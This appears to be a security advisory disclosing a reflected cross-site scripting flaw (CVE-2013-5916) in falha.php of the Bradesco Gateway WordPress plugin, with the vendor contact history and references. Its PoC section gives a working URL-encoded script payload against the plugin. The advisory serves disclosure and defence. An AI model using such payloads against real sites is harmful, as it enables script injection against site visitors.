WordPress Bradesco Gateway Cross Site Scripting

`[ Bradesco Gateway Wordpress plugin Cross-site scripting ( XSS ) ]  
  
[ Vendor product description]  
Bradesco Gateway for the WP-Ecommerce plugin.  
  
[ Bug Description ]  
  
Cross-site scripting (XSS) vulnerability in falha.php in the Bradesco  
Gateway plugin before 2.0 for WordPress allows remote attackers to  
inject arbitrary web script or HTML.  
  
  
[ History ]  
  
Advisory sent to vendor on 09/04/2013  
Contact vendor again on 09/13/2013  
Contact vendor again on 09/20/2013  
Advisory sent to Wordpress plugin team on 09/20/2013  
  
[ Impact ]  
HIGH  
  
[ Afected Version ]  
  
2.0  
  
[ Vendor Reply ]  
  
No Vendor team response.  
No Wordpress plugin response.  
  
[ CVE Reference ]  
  
CVE-2013-5916  
  
[ PoC ]  
  
Payload: http://[host]/>  
/wordpress/wp-content/plugins/wp-e-commerce/wpsc-merchants/bradesco-gateway/falha.php?1%3CScRiPt%3Eprompt%28%27XSS%27%29%3C/ScRiPt%3E  
  
[ References ]  
  
[1] Bradesco-gateway -  
http://plugins.svn.wordpress.org/bradesco-gateway/trunk/bradesco-gateway.php  
[2] Owasp Cross-site scripting -  
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/  
  
--------------------------------------------  
iBliss Segurança e Inteligência - Sponsor: Alexandro Silva - Alexos  
  
alexos (at) ibliss.com (dot) br [email concealed]  
`